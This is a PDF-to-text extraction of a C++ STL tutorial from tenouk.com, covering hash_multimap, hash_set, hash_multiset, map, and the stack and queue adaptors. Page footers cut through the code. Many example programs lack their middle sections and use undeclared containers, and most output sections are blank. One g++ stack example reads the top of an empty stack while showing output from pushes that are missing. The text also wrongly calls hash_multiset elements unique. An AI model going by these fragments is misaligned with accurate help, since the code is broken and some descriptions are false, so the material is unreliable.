▪ Multiple, because its elements do not need to have a unique keys, so that one key value may have
many element data values associated with it.
▪ A pair associative container, because its element values are distinct from its key values.
▪ A template class, because the functionality it provides is generic and so independent of the
specific type of data contained as elements or keys. The data types to be used for elements and
keys are, instead, specified as parameters in the class template along with the comparison function
and allocator.
- The hash_multimap orders the sequence it controls by calling a stored hash Traits object of type
value_compare(). This stored object may be accessed by calling the member function
key_comp().
- Such a function object must behave the same as an object of class hash_compare<Key,
less<Key> >. Specifically, for all values _Key of type Key, the call Traits(_Key) yields a
distribution of values of type size_t.
- The iterator provided by the hash_multimap class is a bidirectional iterator, but the class member
functions insert() and hash_multimap() have versions that take as template parameters a
weaker input iterator, whose functionality requirements are more minimal than those guaranteed by the
class of bidirectional iterators.
hash_multimap Constructor
- Constructs a hash_multimap that is empty or that is a copy of all or part of some other
hash_multimap.
- All constructors store a type of allocator object that manages memory storage for the hash_multimap
and that can later be returned by calling get_allocator(). The allocator parameter is often
omitted in the class declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their hash_multimap.
- All constructors store a function object of type Traits that is used to establish an order among the
keys of the hash_multimap and that can later be returned by calling key_comp().
- The first three constructors specify an empty initial hash_multimap, the second specifying the type
of comparison function (_Comp) to be used in establishing the order of the elements and the third
explicitly specifying the allocator type (_Al) to be used. The keyword explicit suppresses certain
kinds of automatic type conversion.
- The fourth constructor specifies a copy of the hash_multimap _Right.
- The last three constructors copy the range [_First, _Last) of a map with increasing explicitness
in specifying the type of comparison function of class Traits and allocator.
//hash_multimap, constructor
//compiled with VC7.0 or .Net
//a lot of warning messages:-)
#include <hash_map>
#include <iostream>
using namespace std;
int main()
{
typedef pair <int, int> Int_Pair;
hash_multimap <int, int>::iterator hmp0_Iter, hmp1_Iter, hmp3_Iter, hmp4_Iter, hmp5_Iter;
hash_multimap <int, int, hash_compare <int, greater<int> > >::iterator hmp2_Iter;
www.tenouk.com Page 18 of 33
//Create an empty hash_multimap hmp1 with the key comparison
//function of less than, then insert 6 elements
hash_multimap <int, int, hash_compare <int, less<int> > > hmp1;
hmp1.insert(Int_Pair(3, 12));
hmp1.insert(Int_Pair(2, 30));
hmp1.insert(Int_Pair(1, 22));
hmp1.insert(Int_Pair(7, 41));
hmp1.insert(Int_Pair(4, 9));
hmp1.insert(Int_Pair(7, 30));
//----------------------------------------------------
cout<<"Operation: hash_multimap <int, int> hmp0\n";
cout<<"hmp0 data: ";
for(hmp0_Iter = hmp0.begin(); hmp0_Iter != hmp0.end(); hmp0_Iter++)
cout<<hmp0_Iter->second<<" ";
cout<<endl;
www.tenouk.com Page 19 of 33
return 0;
}
Output:
-------------------------------------------End of hash_multimap------------------------------------
---www.tenouk.com---
29.5.3 hash_set
- The elements of a hash_set are unique and serve as their own sort keys. A model for this type of
structure is an ordered list of, say, words in which the words may occur only once.
- If multiple occurrences of the words were allowed, then a hash_multiset would be the appropriate
container structure. If unique definitions were attached as values to the list of key words, then a
hash_map would be an appropriate structure to contain this data. If instead the definitions were not
unique, then a hash_multimap would be the container of choice.
- The hash_set orders the sequence it controls by calling a stored hash Traits object of type
value_compare.
- This stored object may be accessed by calling the member function key_comp(). Such a function
object must behave the same as an object of class hash_compare<Key, less<Key> >.
Specifically, for all values _Key of type Key, the call Trait(_Key) yields a distribution of values
of type size_t.
- The iterator provided by the hash_set class is a bidirectional iterator.
Operators
Operator Description
Tests if the hash_set or hash_multiset object on the left side of the operator is not equal to
operator!=
the hash_set or hash_multiset object on the right side.
Tests if the hash_set or hash_multiset object on the left side of the operator is less than the
operator<
hash_set or hash_multiset object on the right side.
Tests if the hash_set or hash_multiset object on the left side of the operator is less than or
operator<=
equal to the hash_set or hash_multiset object on the right side.
operator== Tests if the hash_set or hash_multiset object on the left side of the operator is equal to the
www.tenouk.com Page 20 of 33
hash_set or hash_multiset object on the right side.
Tests if the hash_set or hash_multiset object on the left side of the operator is greater than
operator>
the hash_set or hash_multiset object on the right side.
Tests if the hash_set or hash_multiset object on the left side of the operator is greater than
operator>=
or equal to the hash_set or hash_multiset object on the right side.
Table 29.22
Specialized
Description
template function
Exchanges the elements of two hash_sets or
swap()
hash_multisets.
Table 29.23
Classes
Class Description
Describes an object that can be used by any of the hash associative containers —
hash_compare
hash_map, hash_multimap, hash_set, or hash_multiset — as a default Traits
Class
parameter object to order and hash the elements they contain.
hash_set Used for the storage and fast retrieval of data from a collection in which the values of
Class the elements contained are unique and serve as the key values.
hash_multiset Used for the storage and fast retrieval of data from a collection in which the values of
Class the elements contained are unique and serve as the key values.
Table 29.24
Typedefs
Typedef Description
allocator_type A type that represents the allocator class for the hash_set object.
A type that provides a bidirectional iterator that can read a const element
const_iterator
in the hash_set.
const_pointer A type that provides a pointer to a const element in a hash_set.
A type that provides a reference to a const element stored in a hash_set
const_reference
for reading and performing const operations.
A type that provides a bidirectional iterator that can read any const
const_reverse_iterator
element in the hash_set.
A signed integer type that can be used to represent the number of elements
difference_type
of a hash_set in a range between elements pointed to by iterators.
A type that provides a bidirectional iterator that can read or modify any
iterator
element in a hash_set.
A type that provides a function object that can compare two sort keys to
key_compare
determine the relative order of two elements in the hash_set.
A type that describes an object stored as an element of a hash_set in its
key_type
capacity as sort key.
pointer A type that provides a pointer to an element in a hash_set.
reference A type that provides a reference to an element stored in a hash_set
A type that provides a bidirectional iterator that can read or modify an
reverse_iterator
element in a reversed hash_set.
An unsigned integer type that can represent the number of elements in a
size_type
hash_set.
A type that provides two function objects, a binary predicate of class
value_compare compare that can compare two element values of a hash_set to determine
their relative order and a unary predicate that hashes the elements.
A type that describes an object stored as an element of a hash_set in its
value_type
capacity as a value.
Table 29.25
www.tenouk.com Page 21 of 33
Member function Description
begin() Returns an iterator that addresses the first element in the hash_set.
clear() Erases all the elements of a hash_set.
Returns the number of elements in a hash_set whose key matches a parameter-
count()
specified key.
empty() Tests if a hash_set is empty.
Returns an iterator that addresses the location succeeding the last element in a
end()
hash_set.
Returns a pair of iterators respectively to the first element in a hash_set with a key that
equal_range() is greater than a specified key and to the first element in the hash_set with a key that is
equal to or greater than the key.
Removes an element or a range of elements in a hash_set from specified positions or
erase()
removes elements that match a specified key.
Returns an iterator addressing the location of an element in a hash_set that has a key
find()
equivalent to a specified key.
get_allocator() Returns a copy of the allocator object used to construct the hash_set.
Constructs a hash_set that is empty or that is a copy of all or part of some other
hash_set()
hash_set.
insert() Inserts an element or a range of elements into a hash_set.
key_comp() Retrieves a copy of the comparison object used to order keys in a hash_set.
Returns an iterator to the first element in a hash_set with a key that is equal to or
lower_bound()
greater than a specified key.
max_size() Returns the maximum length of the hash_set.
rbegin() Returns an iterator addressing the first element in a reversed hash_set.
Returns an iterator that addresses the location succeeding the last element in a
rend()
reversed hash_set.
size() Returns the number of elements in the hash_set.
swap() Exchanges the elements of two hash_sets.
Returns an iterator to the first element in a hash_set that with a key that is equal to or
upper_bound()
greater than a specified key.
Retrieves a copy of the hash traits object used to hash and order element key values in
value_comp()
a hash_set.
Table 29.26
hash_set Class
- The container class hash_set is an extension of the Standard Template Library (STL) and is used for the
storage and fast retrieval of data from a collection in which the values of the elements contained are
unique and serve as the key values.
template <
class Key,
class Traits=hash_compare<Key, less<Key> >,
class Allocator=allocator<Key>
>
Parameters
Parameter Description
Key The element data type to be stored in the hash_set.
The type which includes two function objects, one of class compare that is a binary
predicate able to compare two element values as sort keys to determine their relative
Traits
order and a hash function that is a unary predicate mapping key values of the
elements to unsigned integers of type size_t. This argument is optional, and the
hash_compare<Key, less<Key> > is the default value.
The type that represents the stored allocator object that encapsulates details about
Allocator
the hash_set's allocation and de-allocation of memory. This argument is optional,
and the default value is allocator<Key>.
Table 29.27
www.tenouk.com Page 22 of 33
▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value. Further, it is a simple associative container
because its element values are its key values.
▪ Reversible, because it provides a bidirectional iterator to access its elements.
▪ Hashed, because its elements are grouped into buckets based on the value of a hash function
applied to the key values of the elements.
▪ Unique in the sense that each of its elements must have a unique key. Because hash_set is also a
simple associative container, its elements are also unique.
▪ A template class because the functionality it provides is generic and so independent of the specific
type of data contained as elements or keys. The data types to be used for elements and keys are,
instead, specified as parameters in the class template along with the comparison function and
allocator.
hash_set Constructor
- Constructs a hash_set that is empty or that is a copy of all or part of some other hash_set.
- All constructors store a type of allocator object that manages memory storage for the hash_set and
that can later be returned by calling get_allocator(). The allocator parameter is often omitted in
the class declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their hash_sets.
- All constructors store a function object of type Traits that is used to establish an order among the
keys of the hash_set and that can later be returned by calling key_comp.
- The first three constructors specify an empty initial hash_set, the second specifying the type of
comparison function (_Comp) to be used in establishing the order of the elements and the third
explicitly specifying the allocator type (_Al) to be used.
- The key word explicit suppresses certain kinds of automatic type conversion.
- The fourth constructor specifies a copy of the hash_set _Right.
- The last three constructors copy the range [_First, _Last) of a hash_set with increasing
explicitness in specifying the type of comparison function of class Traits and allocator.
- The actual order of elements in a hash_set container depends on the hash function, the ordering
function and the current size of the hash table and cannot, in general, be predicted as it could with the
set container, where it was determined by the ordering function alone.
//hash_set, constructor
//compiled with VC7.0/.Net
//some warnings
#include <hash_set>
#include <iostream>
using namespace std;
int main()
{
hash_set <int>::iterator hst0_Iter, hst1_Iter, hst3_Iter, hst4_Iter, hst5_Iter;
hash_set <int, hash_compare <int, greater<int> > >::iterator hst2_Iter;
www.tenouk.com Page 23 of 33
hst3.insert(12);
hst3.insert(13);
hst3.insert(12);
//-----------------------------------------------
cout<<"Operation: hash_set <int> hst0\n";
cout<<"hst0 data: ";
for(hst0_Iter = hst0.begin(); hst0_Iter != hst0.end(); hst0_Iter++)
cout<<*hst0_Iter<<" ";
cout<<endl;
Output:
www.tenouk.com Page 24 of 33
---------------------------------------------End of the hash_set----------------------------------------
---www.tenouk.com---
Typedefs
Typedef Description
allocator_type A type that represents the allocator class for the hash_multiset object.
A type that provides a bidirectional iterator that can read a const element in
const_iterator
the hash_multiset.
const_pointer A type that provides a pointer to a const element in a hash_multiset.
A type that provides a reference to a const element stored in a
const_reference
hash_multiset for reading and performing const operations.
A type that provides a bidirectional iterator that can read any const element
const_reverse_iterator
in the hash_multiset.
A signed integer type that provides the difference between two iterators that
difference_type
address elements within the same hash_multiset.
A type that provides a bidirectional iterator that can read or modify any
iterator
element in a hash_multiset.
A type that provides a function object that can compare two sort keys to
key_compare
determine the relative order of two elements in the hash_multiset.
A type that provides a function object that can compare sort keys to
key_type
determine the relative order of two elements in the hash_multiset.
pointer A type that provides a pointer to an element in a hash_multiset
reference A type that provides a reference to an element stored in a hash_multiset.
A type that provides a bidirectional iterator that can read or modify an
reverse_iterator
element in a reversed hash_multiset.
An unsigned integer type that can represent the number of elements in a
size_type
hash_multiset.
A type that provides two function objects, a binary predicate of class
value_compare compare that can compare two element values of a hash_multiset to
determine their relative order and a unary predicate that hashes the elements.
A type that describes an object stored as an element of a hash_multiset in its
value_type
capacity as a value.
Table 29.28
www.tenouk.com Page 25 of 33
Member Functions
Table 29.29
hash_multiset Class
- The container class hash_multiset is an extension of the Standard Template Library and is used for the
storage and fast retrieval of data from a collection in which the values of the elements contained serve
as the key values and are not required to be unique.
template <
class Key,
class Traits = hash_compare<Key, less<Key> >,
class Allocator = allocator<Key>
>
Parameters
Parameter Description
Key The element data type to be stored in the hash_multiset.
The type which includes two function objects, one of class compare that is a binary predicate able
to compare two element values as sort keys to determine their relative order and a hash function
Traits
that is a unary predicate mapping key values of the elements to unsigned integers of type
size_t. This argument is optional, and the hash_compare<Key, less<Key> > is the
default value.
The type that represents the stored allocator object that encapsulates details about the
Allocator
hash_multiset's allocation and de-allocation of memory. This argument is optional, and the default
value is allocator<Key>.
Table 29.30
www.tenouk.com Page 26 of 33
▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value. Further, it is a simple associative container
because its element values are its key values.
▪ Reversible, because it provides a bidirectional iterator to access its elements.
▪ Hashed, because its elements are grouped into buckets based on the value of a hash function
applied to the key values of the elements.
▪ Unique in the sense that each of its elements must have a unique key. Because
hash_multiset is also a simple associative container, its elements are also unique.
▪ A template class because the functionality it provides is generic and so independent of the specific
type of data contained as elements or keys. The data types to be used for elements and keys are,
instead, specified as parameters in the class template along with the comparison function and
allocator.
- The elements of a hash_multiset may be multiple and serve as their own sort keys, so keys are not
unique.
- The hash_multiset orders the sequence it controls by calling a stored hash traits object of type
value_compare. This stored object may be accessed by calling the member function
key_comp(). Such a function object must behave the same as an object of class
hash_compare<Key, less<Key> >. Specifically, for all values Key of type Key, the call
Trait(Key) yields a distribution of values of type size_t.
- Inserting elements invalidates no iterators, and removing elements invalidates only those iterators that
had specifically pointed at the removed elements.
- The iterator provided by the hash_multiset class is a bidirectional iterator, but the class member
functions insert() and hash_multiset() have versions that take as template parameters a
weaker input iterator, whose functionality requirements are more minimal than those guaranteed by the
class of bidirectional iterators.
hash_multiset Constructor
- Constructs a hash_multiset that is empty or that is a copy of all or part of some other
hash_multiset.
- All constructors store a type of allocator object that manages memory storage for the
hash_multiset and that can later be returned by calling get_allocator().
- The allocator parameter is often omitted in the class declarations and preprocessing macros used to
substitute alternative allocators.
- All constructors initialize their hash_multisets.
- All constructors store a function object of type Traits that is used to establish an order among the
keys of the hash_multiset and that can later be returned by calling key_comp().
- The first three constructors specify an empty initial hash_multiset, the second specifying the type
of comparison function (_Comp) to be used in establishing the order of the elements and the third
explicitly specifying the allocator type (_Al) to be used. The keyword explicit suppresses certain
kinds of automatic type conversion.
- The fourth constructor specifies a copy of the hash_multiset _Right.
- The last three constructors copy the range [_First, _Last) of a hash_multiset with
increasing explicitness in specifying the type of comparison function of class Compare and allocator.
- The actual order of elements in a hash_set container depends on the hash function, the ordering
function and the current size of the hash table and cannot, in general, be predicted as it could with the
set container, where it was determined by the ordering function alone.
//hash_multiset, constructor
//compiled with VC7.0 or .Net
//a lot of warning messages...
#include <hash_set>
#include <iostream>
using namespace std;
int main()
{
hash_multiset <int>::iterator hms0_Iter, hms1_Iter, hms3_Iter, hms4_Iter, hms5_Iter;
hash_multiset <int, hash_compare <int, greater<int> > >::iterator hms2_Iter;
www.tenouk.com Page 27 of 33
//function of less than, then insert 6 elements
hash_multiset<int, hash_compare<int, less<int> > > hms1;
hms1.insert(12);
hms1.insert(17);
hms1.insert(24);
hms1.insert(17);
hms1.insert(9);
//------------------------------------------------------
cout<<"Operation: hash_multiset <int> hms0\n";
cout<<"hms0 data: ";
for(hms0_Iter = hms0.begin(); hms0_Iter != hms0.end(); hms0_Iter++)
cout<<*hms0_Iter<<" ";
cout<<endl;
www.tenouk.com Page 28 of 33
return 0;
}
Output:
29.6 Strings
- You can also use strings as STL containers. By strings that mean objects of the C++ string classes,
basic_string<>, string, and wstring. Strings are similar to vectors except that their elements
are characters. This has been discussed extensively in Module 25 and 26.
- An ordinary C and C++ language array type that has static or dynamic size is a container. However,
ordinary arrays are not STL containers because they don't provide member functions such as size()
and empty().
- However, the STL's design allows you to call algorithms for these ordinary arrays. This is especially
useful when you process static arrays of values as an initializer list.
- You should have familiar with this traditional array, what is new in STL is using algorithms for them.
- Note that in C++ it is no longer necessary to program dynamic arrays directly. Vectors provide all
properties of dynamic arrays with a safer and more convenient interface.
www.tenouk.com Page 29 of 33
the beginning or the end, or in the middle. Lists have the important property
that insertion and splicing do not invalidate iterators to list elements, and that
even removal invalidates only the iterators that point to the elements that are
removed. The ordering of iterators may be changed (that is,
list<Type>::iterator might have a different predecessor or successor
after a list operation than it did before), but the iterators themselves will not be
invalidated or made to point to different elements unless that invalidation or
mutation is explicit.
Associative container Summary
A sorted associative container that stores objects of type Key. Set is a
simple associative container, meaning that its value type, as well as its key
type, is Key. It is also a unique associative container, meaning that no two
elements are the same. The set algorithms require their arguments to be sorted
ranges, and, since set and multiset are sorted associative containers, their
elements are always sorted in ascending order. The output range of these
6 algorithms is always sorted, and inserting a sorted range into a set or
set
multiset is a fast operation: the unique sorted associative container and
multiple sorted associative container requirements guarantee that inserting a
range takes only linear time if the range is already sorted. Set has the
important property that inserting a new element into a set does not invalidate
iterators that point to existing elements. Erasing an element from a set also
does not invalidate any iterators, except, of course, for iterators that actually
point to the element that is being erased.
Multiset is a sorted associative container that stores objects of type Key.
Multiset is a simple associative container, meaning that its value type, as
well as its key type, is Key. It is also a multiple associative container, meaning
that two or more elements may be identical. The set algorithms require their
arguments to be sorted ranges, and, since set and multiset are sorted
associative containers, their elements are always sorted in ascending order. The
output range of these algorithms is always sorted, and inserting a sorted range
7 multiset into a set or multiset is a fast operation: the unique sorted associative
container and multiple sorted associative container requirements guarantee
that inserting a range takes only linear time if the range is already sorted.
Multiset has the important property that inserting a new element into a
multiset does not invalidate iterators that point to existing elements.
Erasing an element from a multiset also does not invalidate any iterators,
except, of course, for iterators that actually point to the element that is being
erased.
Map is a sorted associative container that associates objects of type Key with
objects of type Data. Map is a pair associative container, meaning that its
value type is pair<const Key, Data>. It is also a unique associative
8 map container, meaning that no two elements have the same key.
Map has the important property that inserting a new element into a map does
not invalidate iterators that point to existing elements. Erasing an element from
a map also does not invalidate any iterators, except, of course, for iterators that
actually point to the element that is being erased.
Multimap is a sorted associative container that associates objects of type
Key with objects of type Data. multimap is a pair associative container,
meaning that its value type is pair<const Key, Data>. It is also a
multiple associative container, meaning that there is no limit on the number
of elements with the same key.
9 multimap
Multimap has the important property that inserting a new element into a
multimap does not invalidate iterators that point to existing elements.
Erasing an element from a multimap also does not invalidate any iterators,
except, of course, for iterators that actually point to the element that is being
erased.
Implementation dependent, non ANSI C++ (ISO/IEC C++)
The function object hash<Type> is a Hash Function; it is used as the default
hash function by all of the Hashed Associative Containers that are included in
the STL. The hash<Type> template is only defined for template arguments
10 hash of type char*, const char*, crope, wrope, and the built-in integral
types. If you need a Hash Function with a different argument type, you must
either provide your own template specialization or else use a different Hash
Function. This is implementation extension, not the ANSI C++ standard.
Hash_set is a hashed associative container that stores objects of type Key.
11 hash_set
Hash_set is a simple associative container, meaning that its value type, as
www.tenouk.com Page 30 of 33
well as its key type, is Key. It is also a unique associative container, meaning
that no two elements compare equal using the Binary Predicate EqualKey.
Hash_set is useful in applications where it is important to be able to search
for an element quickly. If it is important for the elements to be in a particular
order, however, then set is more appropriate.
hash_multiset is a hashed associative container that stores objects of
type Key. hash_multiset is a simple associative container, meaning that
its value type, as well as its key type, is Key. It is also a multiple associative
12 container, meaning that two or more elements may compare equal using the
hash_multiset
Binary Predicate EqualKey.
hash_multiset is useful in applications where it is important to be able to
search for an element quickly. If it is important for the elements to be in a
particular order, however, then multiset is more appropriate.
Hash_map is a hashed associative container that associates objects of type
Key with objects of type Data. Hash_map is a pair associative container,
meaning that its value type is pair<const Key, Data>. It is also a
unique associative container, meaning that no two elements have keys that
13 hash_map compare equal using EqualKey.
Looking up an element in a hash_map by its key is efficient, so hash_map
is useful for "dictionaries" where the order of elements is irrelevant. If it is
important for the elements to be in a particular order, however, then map is
more appropriate.
Hash_multimap is a hashed associative container that associates objects
of type Key with objects of type Data. Hash_multimap is a pair
associative container, meaning that its value type is pair<const Key,
Data>. It is also a multiple associative container, meaning that there is no
14 limit on the number of elements whose keys may compare equal using
hash_multimap
EqualKey.
Looking up an element in a hash_multimap by its key is efficient, so
hash_multimap is useful for "dictionaries" where the order of elements is
irrelevant. If it is important for the elements to be in a particular order,
however, then multimap is more appropriate.
Table 29.31
//******mapconstructor.cpp********
//map, constructor
//compiled with VC++ 7.0
//or .Net
#include <map>
#include <iostream>
using namespace std;
int main( )
{
typedef pair<int, int> Int_Pair;
map<int, int>::iterator mp0_Iter, mp1_Iter, mp3_Iter, mp4_Iter, mp5_Iter, mp6_Iter;
map<int, int, greater<int> >::iterator mp2_Iter;
www.tenouk.com Page 31 of 33
//allocator of map mp1
map <int, int>::allocator_type mp1_Alloc;
mp1_Alloc = mp1.get_allocator();
map <int, int> mp3(less<int>(), mp1_Alloc);
mp3.insert(Int_Pair(1, 10));
mp3.insert(Int_Pair(2, 12));
//--------------------------------------------------------
cout<<"Operation: map <int, int> mp0\n";
cout<<"mp0 data: ";
for(mp0_Iter = mp0.begin(); mp0_Iter != mp0.end(); mp0_Iter++)
cout<<" "<<mp0_Iter->second;
cout<<endl;
www.tenouk.com Page 32 of 33
Operation1: map <int, int, less<int> > mp1
Operation2: mp1.insert(Int_Pair(1, 13))...
mp1 data: 13 23 23 15 25
-------------------------------------------End of container------------------------------------------
---www.tenouk.com---
www.tenouk.com Page 33 of 33
MODULE 30
--THE STL--
CONTAINER ADAPTOR
Note: Compiled using VC++7.0 / .Net, win32 empty console mode application. g++ examples given at the end of
this Module.
Abilities
- In addition to the fundamental container classes, the C++ standard library provides special predefined
container adapters that meet special needs. These are implemented by using the fundamental
containers classes.
- The predefined container adapters are as follows:
Container
Description
Adapter
Stacks Is a container that manages its elements by the LIFO (last-in-first-out) policy.
Is a container that manages its elements by the FIFO (first-in-first-out) policy. That is, it
Queues
is an ordinary buffer.
Is a container in which the elements may have different priorities. The priority is based
Priority on a sorting criterion that the programmer may provide (by default, operator < is used). A
Queues priority queue is, in effect, a buffer in which the next element is always the element that
has the highest priority inside the queue. If more than one element has the highest
priority, the order of these elements is undefined.
Table 30.1
- Container adapters are just special containers that use the general framework of the containers,
iterators, and algorithms provided by the STL.
Operators
Operator Description
operator!= Tests if the stack object on the left side of the operator is not equal to the stack object
www.tenouk.com Page 1 of 9
on the right side.
Tests if the stack object on the left side of the operator is less than the stack object on
operator<
the right side.
Tests if the stack object on the left side of the operator is less than or equal to the
operator<=
stack object on the right side.
Tests if the stack object on the left side of the operator is equal to the stack object on
operator==
the right side.
Tests if the stack object on the left side of the operator is greater than the stack object
operator>
on the right side.
Tests if the stack object on the left side of the operator is greater than or equal to the
operator>=
stack object on the right side.
Table 30.2
Classes
Class Description
stack A template container adaptor class that provides a restriction of functionality limiting
Class access to the element most recently added to some underlying container type.
Table 30.3
stack Members
Typedefs
Typedef Description
A type that provides the base container to be adapted by
container_type
a stack.
An unsigned integer type that can represent the number
size_type
of elements in a stack.
A type that represents the type of object stored as an
value_type
element in a stack.
Table 30.4
Member Functions
Member
Description
function
empty() Tests if the stack is empty.
pop() Removes the element from the top of the stack.
push() Adds an element to the top of the stack.
size() Returns the number of elements in the stack.
Constructs a stack that is empty or that is a copy of a
stack()
base container object.
top() Returns a reference to an element at the top of the stack.
Table 30.5
- The stack must be nonempty to apply the member function. The top of the stack is the position
occupied by the most recently added element and is the last element at the end of the container.
- The top of the stack is the position occupied by the most recently added element and is the last element
at the end of the container.
int main()
{
stack <int> st1, st2;
www.tenouk.com Page 2 of 9
cout<<j<<' ';
st1.push(9);
j=st1.top();
cout<<j<<' ';
st1.push(12);
j=st1.top();
cout<<j<<' ';
st1.push(31);
j=st1.top();
cout<<j<<' '<<endl;
stack <int>::size_type i;
i = st1.size();
cout<<"The stack length is "<<i<<endl;
i = st1.top();
cout<<"The element at the top of the stack is "<<i<<endl;
st1.pop();
i = st1.size();
cout<<"After a pop, the stack length is "<<i<<endl;
i = st1.top();
cout<<"After a pop, the element at the top of the stack is "<<i<<endl;
return 0;
}
Output:
stack Constructor
stack( );
explicit stack(
const container_type& _Right
);
Parameter
Parameter Description
_Right The container of which the constructed stack is to be a copy.
Table 30.6
//stack, constructor
#include <stack>
#include <vector>
#include <list>
#include <iostream>
using namespace std;
int main()
{
//Declares stack with default deque base container
stack <char> deq1;
www.tenouk.com Page 3 of 9
stack <int, list<int> > lst;
cout<<endl;
return 0;
}
//no output
stack Class
- A template container adaptor class that provides a restriction of functionality limiting access to the
element most recently added to some underlying container type.
- The stack class is used when it is important to be clear that only stack operations are being performed
on the container.
template <
class Type,
class Container = deque<Type>
>
Parameters
Parameter Description
Type The element data type to be stored in the stack.
The type of the underlying container used to implement the stack. The default value is the
Container
class deque<Type>.
Table 30.7
- The elements of class Type stipulated in the first template parameter of a stack object are synonymous
with value _type and must match the type of element in the underlying container class Container
stipulated by the second template parameter.
- The Type must be assignable, so that it is possible to copy objects of that type and to assign values to
variables of that type.
- Suitable underlying container classes for stack include deque, list, and vector, or any other sequence
container that supports the operations of back(), push_back(), and pop_back().
- The underlying container class is encapsulated within the container adaptor, which exposes only the
limited set of the sequence container member functions as a public interface.
- The stack objects are equality comparable if and only if the elements of class Type are equality
comparable and are less-than comparable if and only if the elements of class Type are less-than
comparable.
▪ The stack class supports a last-in, first-out (LIFO) data structure. A good analogy would be a
stack of plates. Elements (plates) may be inserted, inspected, or removed only from the top of the
stack, which is the last element at the end of the base container. The restriction to accessing only
the top element is the reason for using the stack class.
▪ The queue class supports a first-in, first-out (FIFO) data structure. A good analogy would be
people lining up for a bank teller. Elements (people) may be added to the back of the line and are
removed from the front of the line. Both the front and the back of a line may be inspected. The
restriction to accessing only the front and back elements in this way is the reason fur using the
queue class.
▪ The priority_queue class orders its elements so that the largest element is always at the top
position. It supports insertion of an element and the inspection and removal of the top element. A
good analogy would be people lining up where they are arranged by age, height, or some other
criterion.
Typedefs
Typedef Description
A type that provides the base container to be
container_type
adapted by the queue.
An unsigned integer type that can represent the
size_type
number of elements in a queue.
www.tenouk.com Page 4 of 9
A type that represents the type of object stored as
value_type
an element in a queue.
Table 30.8
Member Functions
Member
Description
function
Returns a reference to the last and most recently added element at the
Back()
back of the queue.
empty() Tests if the queue is empty.
front() Returns a reference to the first element at the front of the queue.
pop() Removes an element from the front of the queue.
push() Adds an element to the back of the queue.
Constructs a queue that is empty or that is a copy of a base container
queue()
object.
size() Returns the number of elements in the queue.
Table 30.9
- The return value is the last element of the queue. If the queue is empty, the return value is undefined.
- If the return value of back() is assigned to a const_reference, the queue object cannot be
modified. If the return value of back() is assigned to a reference, the queue object can be
modified.
int main()
{
queue <int> que1;
que1.push(11);
que1.push(13);
int& x = que1.back();
const int& y = que1.front();
Output:
- The return value is the last element of the queue. If the queue is empty, the return value is undefined.
- If the return value of front() is assigned to a const_reference, the queue object cannot be
modified. If the return value of front() is assigned to a reference, the queue object can be
modified.
- The member function returns a reference to the first element of the controlled sequence, which
must be nonempty.
//queue, front()
#include <queue>
#include <iostream>
using namespace std;
int main()
{
queue <int> que;
www.tenouk.com Page 5 of 9
que.push(9);
que.push(12);
que.push(20);
que.push(15);
queue <int>::size_type x;
x = que.size();
cout<<"The queue length is "<<x<<endl;
int& y = que.back();
int& z = que.front();
cout<<"The integer at the back of queue que is "<<y<<endl;
cout<<"The integer at the front of queue que is "<<z<<endl;
return 0;
}
Output:
- The queue must be nonempty to apply the member function. The top of the queue is the position
occupied by the most recently added element and is the last element at the end of the container.
//queue, pop()
#include <queue>
#include <iostream>
using namespace std;
int main()
{
queue <int> que;
que.push(21);
que.push(9);
que.push(13);
queue <int>::size_type i;
i = que.size();
cout<<"The queue length is "<<i<<endl;
i = que.front();
cout<<"The element at the front of the queue is "<<i<<endl;
que.pop();
i = que.size();
cout<<"After a pop the queue length is "<<i<<endl;
i = que.front();
cout<<"After a pop, the element at the front of the queue is "<<i<<endl;
return 0;
}
Output:
- The top of the queue is the position occupied by the most recently added element and is the last element
at the end of the container.
//queue, push()
www.tenouk.com Page 6 of 9
#include <queue>
#include <iostream>
using namespace std;
int main()
{
queue <int> que;
que.push(23);
que.push(15);
que.push(32);
queue <int>::size_type i;
i = que.size();
cout<<"The queue length is "<<i<<endl;
i = que.front();
cout<<"The element at the front of the queue is "<<i<<endl;
return 0;
}
Output:
queue Constructor
queue( );
explicit queue(
const container_type& _Right
);
Parameter
Parameter Description
_Right The const container of which the constructed queue is to be a copy.
Table 30.10
- The default base container for queue is deque. You can also specify list as a base container, but you
cannot specify vector, because it lacks the required pop_front() member function.
//queue, constructor
#include <queue>
#include <vector>
#include <list>
#include <iostream>
using namespace std;
int main()
{
//Declares queue with default deque base container
queue <char> que;
www.tenouk.com Page 7 of 9
return 0;
}
//no output
queue Class
- A template container adaptor class that provides a restriction of functionality for some underlying
container type, limiting access to the front and back elements.
- Elements can be added at the back or removed from the front, and elements can be inspected at either
end of the queue.
template <
class Type,
class Container = deque<Type>
>
Parameters
Parameter Description
Type The element data type to be stored in the queue.
Container The type of the underlying container used to implement the queue.
Table 30.11
- The elements of class Type stipulated in the first template parameter of a queue object are
synonymous with value _type and must match the type of element in the underlying container class
Container stipulated by the second template parameter.
- The Type must be assignable, so that it is possible to copy objects of that type and to assign values to
variables of that type.
- Suitable underlying container classes for queue include deque and list, or any other sequence container
that supports the operations of front(), back(), push_back(), and pop_front().
- The underlying container class is encapsulated within the container adaptor, which exposes only the
limited set of the sequence container member functions as a public interface.
- The queue objects are equality comparable if and only if the elements of class Type are equality
comparable, and are less-than comparable if and only if the elements of class Type are less-than
comparable.
- These three types of container adaptors defined by the STL, each restricts the functionality of some
underlying container class to provide a precisely controlled interface to a standard data structure.
- The following is a program example compiled using g++.
//*******stackpopush.cpp*******
//stack, pop(), push()
//size() and top()
#include <stack>
#include <iostream>
using namespace std;
int main()
{
stack <int> st1, st2;
stack <int>::size_type i;
i = st1.size();
cout<<"The stack length is "<<i<<endl;
i = st1.top();
www.tenouk.com Page 8 of 9
cout<<"The element at the top of the stack is "<<i<<endl;
st1.pop();
i = st1.size();
cout<<"After a pop, the stack length is "<<i<<endl;
i = st1.top();
cout<<"After a pop, the element at the top of the stack is "<<i<<endl;
return 0;
}
21 9 12 31
The stack length is 4
The element at the top of the stack is 31
After a pop, the stack length is 3
After a pop, the element at the top of the stack is 12
//*****queuepop.cpp*******
//queue, pop()
#include <queue>
#include <iostream>
using namespace std;
int main()
{
queue <int> que;
que.push(21);
que.push(9);
que.push(13);
queue <int>::size_type i;
i = que.size();
cout<<"The queue length is "<<i<<endl;
i = que.front();
cout<<"The element at the front of the queue is "<<i<<endl;
que.pop();
i = que.size();
